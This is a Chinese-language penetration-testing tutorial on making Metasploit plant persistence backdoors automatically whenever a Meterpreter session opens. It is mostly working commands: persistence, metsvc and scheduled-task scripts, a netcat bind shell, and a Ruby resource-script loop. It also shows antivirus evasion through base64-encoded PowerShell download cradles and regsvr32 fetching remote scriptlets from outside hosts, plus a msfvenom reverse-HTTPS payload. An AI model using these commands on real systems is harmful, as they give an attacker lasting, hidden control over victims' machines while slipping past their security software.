0x00 简介
Metasploit——渗透测试神器,drops里有很多介绍了。使用过Metasploit的同学应该知道,在没有任何配置的情况下,会话中断以后,是不会重连的,也就是说,是不会安装持续控制后门的,也许你知道如何在生成Meterpreter会话之后安装后门,而本文主要介绍的是,如何在生成会话之后,自动安装持续控制后门,达到我们可以对被攻击者长期控制的目的。
0x01 MSF Persistent Scripts
在介绍之前,首先介绍一下MSF中已经含有的用于创建持续控制后门的脚本。
1、Persistence
路径:metasploit/scripts/meterpreter/persistence.rb,用于创建通过启动项启动。会创建注册表,创建文件,很容易被杀软拦截。
使用举例:
run persistence -A -U -i 5 -p 443 -r 192.168.2.101
使用 -S可创建服务。-U 会在HKCU添加启动项,-X 会在HKLM添加启动项
能实现同样功能的脚本还有:
exploit/windows/local/persistence.rb
exploit/windows/local/registry_persistence.rb
2、Metsvc
路径:metasploit/scripts/meterpreter/metsvc.rb,用于创建服务启动。会创建meterpreter服务,并上传三个文件,很容易被杀软拦截,且安装服务需要管理员权限。
使用举例:
run metsvc -A
使用 -r 参数可卸载服务。
3、Scheduleme & Schtasksabuse
路径:
metasploit/scripts/meterpreter/scheduleme.rb
metasploit/scripts/meterpreter/schtasksabuse.rb
这两个脚本都是通过schtasks来创建计划任务来达到维持权限的目的,区别是scheduleme 需要当前进程拥有最高管理权限,而schtasksabuse则不需要,(测试发现很容易被杀软拦截)。
使用举例:
scheduleme
run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" #上传nc并创建计划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080'
run scheduleme -m 1 -c "cmd /c calc.exe" # 创建计划任务每一分钟执行一次打开计算器命令
其他参数有兴趣自己看看就不详细介绍了
schtasksabuse
run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4 #每隔4秒执行一次calc.exe
使用脚本需要加-t参数
能实现同样功能的脚本还有:
exploits/windows/local/s4u_persistence.rb
4、Mof_ps_persist
之前在 Powershell之MOF后门 提到过,创建WMI后门的一种方式,可以在你的MSF添加此脚本。(运行需要管理员权限,不容易被拦截)
详细使用过程就不再重复了。
当然,MSF持续控制的脚本还有几个,这里就不一一介绍了。
0x02 Autorunscript
说到要自动运行脚本,离不了autorunscript。autorunscript是一个十分强大的脚本,可以让我们在生成会话的同时,执行指定的操作。现在可以直接通过autorunscript来直接调用的脚本已经有66个,目录在metasploit/scripts/meterpreter,包括屏幕截图,获取环境变量等等,还有我们常用的migrate,uploadexec等。
举个例子,如果我们想在获取到会话的同时,执行persistence进行留后门操作可以直接这样:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.2.101set LPORT 5555set ExitOnSession falseset AutoRunScript persistence -r 192.168.2.101 -p 5556 -U -X -i 30exploit -j -z
当生成会话以后,自动执行persistence,结果就像这样:
当然,同样可以设置metsvc
set AutoRunScript metsvc -A
其实,从标题上来讲,此文已经可以结束了,因为现在完全可以实现Automated Persistent Backdoor的目的。但是,以上两种方式很容易被杀软拦截,那我们还有什么方式么?答案是有的。
在介绍之前,再介绍两个很有用的脚本。multi_console_command 及 multicommand。
multi_console_command:用来执行msf的命令的脚本,帮助信息如下:
使用示例:
meterpreter > run multi_console_command -cl "pwd"
cl参数用来执行一条meterpreter的命令,rc参数用来执行多条meterpreter命令,按行分割。
multicommand:用来执行cmd命令的脚本,帮助信息如下:
使用示例:
run multicommand -cl "whoami"
此脚本可用来执行cmd命令,有一个缺点就是会一直等待执行的程序退出以返回结果。
0x03 Resource scripts
除了使用以上Autorunscript,使用Resource 脚本也是可以的,通常我们常见的rc脚本内容是这样的:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.184set ExitOnSession falseexploit -j -z
将以上内容保存为1.rc,然后执行如下命令:
msfconsole -r 1.rc
自动输入命令而省去了我们一条一条输入的繁琐。其实,rc文件里面也可以写ruby代码的,一个简单的示例如下:
use exploit/multi/script/web_delivery set target 2set payload windows/meterpreter/reverse_tcp set lhost 192.168.2.101set lport 6666set uripath / set ExitOnSession falseexploit -jsleep(1) print_status("Waiting on an incoming sessions...")while (true) framework.sessions.each_pair do |sid,s| thost = s.tunnel_peer.split(":")[0] # Ensure that stdapi has been loaded before runningif s.ext.aliases['stdapi'] sleep(2) print_status("run screenshot to session #{sid} #{thost}...") s.console.run_single("screenshot") sleep(2) print_status("Executing persistent command...") s.console.run_single("run persistence -r 192.168.2.101 -p 5556 -U -i 30") sleep(4) print_status("Closing session #{sid} #{thost}...") s.kill print_status("Waiting on an incoming sessions...")elseprint_status("Session #{sid} #{thost} active, but not yet configured") sleep(15) end end sleep(4) end print_status("All done") </ruby> ```
使用以上Resource的效果是,开启exploit/multi/script/web_delivery进行配置并开启监听,当产生一个会话以后,自动执行screenshot以及persistent操作,最后关闭当前会话继续等待。效果如下图:
0x04 绕过拦截
至此,我们已经可以通过使用autorunscript或者使用添加ruby代码的resource脚本两种方式来让msf在产生会话的同时自动创建Persistent Backdoor了,那么AV那一关怎么过呢?别着急,很多人都知道,Powershell在绕AV上有不错的效果,那我们就试试使用Powershell。
测试过程如下:
1、首先我们先通过web_delivery的PSH获取到一个meterpreter会话。
2、构造创建计划任务命令如下:
schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #指定每1小时执行一次notepad.exe
3、测试shell下直接执行(被拦截):
4、将以上命令写入schtasks.ps1,然后通过IEX下载执行,这种方式就不会被拦截了:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1');"
未被拦截的情况下成功建立计划任务。
5、将命令写入autorunscript:
由于命令中存在引号,可以通过编码方式解决,详细如下:
echo "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1');" | iconv --to-code UTF-16LE |base64
最后执行的命令为:
powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA==
之后我们就需要用到multicommand脚本了,自动运行的命令为:
set autorunscript 'multicommand -cl "powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA=="'
演示如下:
现在我们就在获取meterpreter会话之后,绕过拦截自动创建了计划任务,至于怎么样使用计划任务创建一个后门,其实已经有了现成的powershell脚本。请看拓展。
0x05 拓展
PowerSploit 是一个Powershell的渗透框架,其中含有Persistence模块,不知道小伙伴没有没有测试过。具体怎么使用这里就不详细介绍了,有兴趣可是看一下里面的Help信息。
1、首先,生成一个自动创建计划任务后门的脚本:
加载Persistence模块:
PS C:/Persistence> Import-Module ./Persistence.psm1
因为常常我们希望在没有最高权限的情况下创建后门,为了避免杀软,尽量不使用添加注册表的方式,所以,这里依然使用计划任务的方式来创建,执行时间是计算机空闲状态执行。具体命令如下:
PS C:/Persistence> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle PS C:/Persistence> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle PS C:/Persistence> Add-Persistence -FilePath ./evil.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
可以看脚本说明更改触发条件
evil.ps1是计划任务要执行的payload,可以使用以下命令来生成。
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.2.101 lport=7777 -f psh-reflection -o evil.ps1
最终生成脚本如下:
2、测试脚本功能:
将Persistence.ps1 脚本放到web上通过IEX来加载。创建成功以后当电脑空闲时,会执行命令,从而产生meterpreter会话。
测试方式为执行以下命令:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://domain.com/Persistence.ps1'); "
在这里发现一个小bug,运行脚本的时候,执行的powershell对话框并不会隐藏,解决方式是修改Persistence.ps1 ,找到powershell.exe -NonInteractive 并添加 -w hidden 参数。如果有已经有了cmd权限,可以直接执行此命令添加计划任务后门,这里设置为获取meterpreter之后自动执行是为了在通过某些其他漏洞获取meterpreter会话之后自动创建计划任务后门。
测试发现脚本可以实现我们想要的功能。
3、构造Autorunscript命令:
现在要做的就是把Auturunscript以及Persistence.ps1相结合使用,由于命令中存在引号,可以根据前文中提到的方式进行编码处理。但是,经过测试,按照上文中的方式执行是有问题的,multicommand执行会等待程序执行结束并获取执行结果,这样一来,由于执行的进程不会退出且无回显,所以,会导致程序报错!
多次测试以后,找到了解决方式,即使用http://drops.wooyun.org/tips/15124所讲的方式。
构造sct文件如下:
将以上内容命名为test.jpg并放到web服务器上(替换掉base64codes),之后执行
regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dllregsvr32 /u /s /i:http://2bb.in/xml.png scrobj.dll
与执行powershell的命令是等价的。并且会通过regsvr32开启新的进程而不影响multicommand的执行。
所以最终要设置的内容为:
set autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll"'set autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://2bb.in/xml.png scrobj.dll"'
当获取meterpreter会话以后,自动执行命令安装后门:
这样,两者就完美的结合了。重启以后,空闲状态时,脚本执行,重新获取meterpreter会话。这里就不截图了。
以上命令可写入rc文件方便运行:
payload.rc:
use exploit/multi/script/web_delivery set target 2set payload windows/meterpreter/reverse_tcp set lhost 192.168.2.101set lport 6666set uripath / set ExitOnSession falseset autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll"'exploit -j use exploit/multi/handler set payload windows/x64/meterpreter/reverse_https set lhost 192.168.2.101set lport 7777set ExitOnSession falseexploit -j
自己配置修改相关选项
或者也可以使用Resource脚本来构造,看你的心情了。使用以上方式还可以实现自动bypassuac并执行安装需要高权限安装的后门,具体怎么实现,就不详细说明了,小伙伴可以自己试试看。
0x06 小结
本文重点介绍一下Autorunscript这个功能以及几个比较实用的脚本,具体还能做什么操作,大家可以自由发挥,也算是一个科普,虽然以上测试在安装杀软的情况下进行,并且进行了暂时的绕过。但并不代表杀软永远不会拦截,也无任何针对性。仅仅是一个小结以及测试记录。如果有错误的地方,还请小伙伴们包涵,欢迎指正,希望此文对你有帮助。